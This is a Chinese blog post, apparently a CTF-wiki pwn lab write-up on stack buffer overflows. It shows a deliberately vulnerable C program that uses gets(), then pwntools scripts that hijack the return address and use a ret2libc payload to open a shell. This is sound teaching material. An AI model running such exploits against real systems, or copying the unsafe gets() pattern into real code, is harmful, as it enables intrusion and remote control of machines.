zoukankan      html  css  js  c++  java
  • ctfwiki-pwn:Stack Overflow Principle

    程序源码:

    #include <stdio.h>
    #include <string.h>
    void success() { puts("You Hava already controlled it."); }
    void vulnerable() {
      char s[12];
      gets(s);
      puts(s);
      return;
    }
    int main(int argc, char **argv) {
      vulnerable();
      return 0;
    }

    使用gdb-peda获取buf到ret的偏移为:24(命令:pattern_create 200,pattern_offset)

    获取success函数的地址:

    方法一:gdb查看方法信息

    方法二:IDA PRO查看函数地址

    方法三:用PWN的ELF.sym获取success函数地址(推荐,当开启PIE时前两个办法会失效)

    EXP:

    from pwn import *
    context(log_level='debug',arch='i386',os='linux')
    io=process('./stack_example')
    elf=ELF('./stack_example')
    success=elf.sym['success']
    offset=24
    libc_base=0xf7dc9000
    print hex(success)
    payload='a'*offset+p32(success) #有的写成'a'*20+p32(0)+p32(success),这里都是一样的,只是他是先填充到ebp的地址,然后再覆盖esp,接着覆盖ret
    io.sendline(payload)
    io.interactive()

    附:使用ret2libc获取shell

    from pwn import *
    context(log_level='debug',arch='i386',os='linux')
    io=process('./stack_example')
    offset=24
    libc_base=0xf7dc9000
    shell=libc_base+0x00045830
    bash=libc_base+0x00192352
    payload='a'*offset+p32(shell)+p32(0xdeadbeef)+p32(bash) #注意要在ebp后面传入0xdeadbeef,给system函数充当返回地址
    io.sendline(payload) io.interactive()

  • 相关阅读:
    20162302预备作业02
    20162302预备作业01
    设计模式第二次作业
    设计模式第一次作业
    项目选题报告(团队)
    高级软件工程结对第二次作业
    高级软件工程团队第一次作业
    高级软件工程结对第一次作业
    高级软件工程第二次作业
    高级软件工程第一次作业--准备
  • 原文地址:https://www.cnblogs.com/luocodes/p/13916741.html
Copyright © 2011-2022 走看看